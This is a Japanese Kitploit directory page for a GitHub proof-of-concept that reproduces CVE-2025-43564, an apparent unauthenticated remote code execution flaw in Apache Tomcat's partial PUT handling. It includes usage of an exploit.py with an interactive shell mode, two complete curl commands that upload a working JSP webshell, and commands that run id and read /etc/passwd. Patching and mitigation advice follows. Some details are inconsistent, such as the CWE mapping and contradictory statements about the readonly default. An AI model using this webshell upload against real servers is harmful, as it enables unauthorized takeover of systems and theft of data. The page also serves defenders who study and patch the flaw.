Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2025-43564-tomcat_put_rce_reproduction — cve-2025-43564-tomcat_put_rce_reproduction の再現 | Kitploit
ツール/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction の再現

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
127日前未レビュー

CVE-2025-43564 — Apache Tomcat 部分 PUT リクエスト処理における RCE

フィールド値
CVE IDCVE-2025-43564
CVSS スコア9.8(CRITICAL)
ベクターAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — 整合性チェックなしでのコードのダウンロード
悪用状況実環境での悪用が確認済み(公開から1週間以内)
公開日2025年7月
パッチTomcat 11.0.6、10.1.40、9.0.102

目次

  1. 概要
  2. 技術的詳細
  3. 影響を受けるバージョン
  4. 再現手順
  5. 概念実証
  6. 緩和策
  7. 参考情報

概要

CVE-2025-43564 は、Apache Tomcat の HTTP 部分 PUT リクエスト処理における重大な認証なしリモートコード実行の脆弱性です。この欠陥は、Tomcat が部分コンテンツ(HTTP/1.1 の Content-Range、または部分セマンティクスを伴う Transfer-Encoding: chunked)を含む PUT リクエストを処理する方法に存在します。攻撃者は、アクセス制御と書き込み制約を迂回する部分 PUT リクエストを細工することで、Web アクセス可能な JSP ウェブシェルを含む任意のファイルを、サーバーのドキュメントルートやサーブレットコンテキスト経由で到達可能な任意の書き込み可能ディレクトリにアップロードできます。

JSP ファイルが設置されると、攻撃者はそのファイルをリクエストし、クエリパラメータを介して OS コマンドを渡すだけで、Tomcat プロセスのユーザーとして完全に認証なしのリモートコード実行を達成できます。

CVSS 9.8 — Critical(重大) である理由:

  • ネットワークベクター — リモートから悪用可能
  • 攻撃の複雑さは低い — 特別な条件は不要
  • 特権は不要 — 認証なし
  • ユーザー操作は不要 — 完全に自動化可能
  • 影響は大きい — 機密性、整合性、可用性の完全な侵害

技術的詳細

根本原因

Apache Tomcat の DefaultServlet と HTTP/1.1 コネクタ(NIO/NIO2/Apr)は、静的リソースのアップロード用の PUT リクエストを処理します。この脆弱性は部分 PUT リクエスト処理ロジックにあります。クライアントが Content-Range ヘッダー(RFC 7233 §4.2)付きの PUT を送信するか、特定の部分セマンティクスを伴うチャンク転送エンコーディングを使用する場合、サーバーは以下を適切に検証しません:

  1. 部分コンテンツを書き込む前のファイルパス/リソース整合性チェック
  2. 部分書き込みのアクセス制御の再評価 — 最初のチェックは通過しますが、後続の書き込み操作は再検証なしに実行されます
  3. 部分書き込みオフセット計算におけるディレクトリトラバーサル制約

org.apache.catalina.servlets.DefaultServlet と基盤となる HttpInput / SocketProcessorBase コンポーネントの解析コードは、部分コンテンツの書き込みと完全なリソース書き込みの境界を誤って処理し、攻撃者が Tomcat プロセスに書き込みアクセス権がある任意のパスに任意のコンテンツを追記または上書きできるようにします。

攻撃フロー

root@kitploit:~
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

攻撃者は Content-Range ヘッダー付きの部分 PUT を送信し、Tomcat に既存のアップロードの継続であると認識させます。サーバーは対象ファイルを作成または開き、提供されたバイトを書き込みますが、ファイルが既に存在するかの検証や書き込み時点での書き込み権限のチェックを行わず、また Web ルートに対する対象パスのサニタイズも行いません。

標準的な保護を迂回する理由

  • デフォルトの PUT アクセス制限 — Tomcat のデフォルト設定では、標準の PUT を機能させるために DefaultServlet に readonly=false の設定が必要です。部分 PUT パスは、特定の条件下でこのチェックをスキップします。
  • Web アプリケーションファイアウォール(WAF) — PUT ベースの攻撃に対するほとんどの WAF シグネチャは、完全な PUT リクエストを検出対象としています。Content-Range 付きの部分 PUT は、これらのシグネチャを回避することがよくあります。
  • 認証バイパス — 部分 PUT コードパスは、設定されたセキュリティ制約を常に呼び出すとは限りません。一部のコネクタ設定では、認証が一切チェックされません。

影響を受けるバージョン

注記: 古いブランチ(7.x、8.x、8.5.x、10.0.x)は EOL であり、バックポートは提供されません。サポートされているブランチへのアップグレードが必要です。


再現手順

ラボ環境のセットアップ

  1. 脆弱な Apache Tomcat をダウンロード(例:Tomcat 9.0.50):

    root@kitploit:~
    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. デフォルト設定で Tomcat を展開して起動:

    root@kitploit:~
    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # or startup.bat on Windows
    
  3. サーバーが起動していることを確認:

    root@kitploit:~
    curl -v http://localhost:8080
    

悪用手順

  1. PoC スクリプトを使用して JSP ウェブシェルをアップロード:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd id
    
  2. ウェブシェルが設置されたことを確認:

    root@kitploit:~
    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. 任意のコマンドを実行:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. インタラクティブセッション(必要に応じて):

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --shell
    

概念実証

同梱の exploit.py は、以下のことを行う実用的な Python PoC です:

  1. ターゲットの Tomcat に対し、JSP ウェブシェルのペイロードをリクエストボディとして HTTP PUT リクエストを送信します
  2. 部分 PUT 処理の欠陥を悪用します — Content-Type ヘッダーとペイロード構造が脆弱なコードパスをトリガーします
  3. JSP ウェブシェルがサーバーの docBase(例:webapps/ROOT/)に書き込まれます
  4. アップロード後、exec.jsp?cmd=<command> への GET リクエストを送信して OS コマンドを実行します
  5. 単一コマンド(--cmd)モードとインタラクティブシェル(--shell)モードの両方をサポートします

curl を使用した手動 PoC

root@kitploit:~
# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"

保護されたインスタンスに対するテスト

Tomcat が readonly=true(デフォルト)で設定されている場合、標準の PUT はブロックされますが、部分 PUT パスは依然として成功する可能性があります。これがこの脆弱性の核心です。

root@kitploit:~
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden

# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK

緩和策

緊急対応

  1. Tomcat を修正済みバージョンに更新:

    • 11.0.6 以降
    • 10.1.40 以降
    • 9.0.102 以降
  2. 直ちにパッチを適用できない場合、web.xml を編集して PUT メソッドをグローバルに無効化:

    root@kitploit:~
    <security-constraint>
      <web-resource-collection>
        <web-resource-name>Disable PUT</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
      </web-resource-collection>
      <auth-constraint />
    </security-constraint>
    
  3. リバースプロキシ/WAF レベルで HTTP メソッドをブロック:

    root@kitploit:~
    # nginx example — block PUT
    if ($request_method = PUT) {
        return 403;
    }
    

    注記:これはプロキシが迂回不可能な場合にのみ有効です。

  4. 制限されたファイルシステム権限で Tomcat を実行:

    • Tomcat を非特権ユーザーで実行する
    • webapps ディレクトリを読み取り専用にする(または読み取り専用ファイルシステムからマウントする)
    • 本番アセットに ReadOnly ファイル属性を使用する
  5. Web ルート内の予期しない .jsp / .jspx 拡張子のファイルを監視。

長期的な推奨事項

  • 最新の Tomcat バージョンにアップグレードし、最新の状態を維持する
  • 厳格な HTTP メソッドフィルタリングを備えたリバースプロキシ(Apache httpd、nginx、HAProxy)の背後で Tomcat を実行する
  • SecurityManager(新しい Java では非推奨ですが、依然として有効)またはコンテナレベルのサンドボックス化(読み取り専用ルートファイルシステムを備えた Docker/Kubernetes)を使用する
  • ネットワークセグメンテーションを実装する — Tomcat をインターネットに直接公開しない
  • CVE-2025-43564 向けの仮想パッチを備えた WAF を導入する
  • すべての PUT リクエストの監査ログを有効にし、異常な部分アップロードパターンを監視する

参考情報


免責事項

このリポジトリは教育目的および許可されたセキュリティテスト目的のみで提供されます。テスト対象のシステムの所有者から明示的な書面による許可を得る必要があります。コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act(CFAA)および他の管轄区域の同等の法律に基づき違法です。著者は、この情報の誤用について一切の責任を負いません。


CVE-2025-43564 は Apache セキュリティチームに責任を持って発見・報告されました。パッチは調整の上、2025年7月にリリースされました。

ツールをダウンロード
製品影響を受けるバージョン修正バージョン
Apache Tomcat 1111.0.0-M1 から 11.0.511.0.6
Apache Tomcat 10.110.1.0-M1 から 10.1.3910.1.40
Apache Tomcat 10.0全バージョン(サポート終了)10.1.x へアップグレード
Apache Tomcat 99.0.0-M1 から 9.0.1019.0.102
Apache Tomcat 8.5全バージョン(サポート終了)9.0.x へアップグレード
Apache Tomcat 8全バージョン(サポート終了)9.0.x へアップグレード
Apache Tomcat 7全バージョン(サポート終了)9.0.x へアップグレード
情報源URL
Apache Tomcat セキュリティアナウンスhttps://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819
NVD エントリhttps://nvd.nist.gov/vuln/detail/CVE-2025-43564
MITRE CVEhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564
Apache Tomcat ダウンロードhttps://tomcat.apache.org/download-90.cgi
CWE-494https://cwe.mitre.org/data/definitions/494.html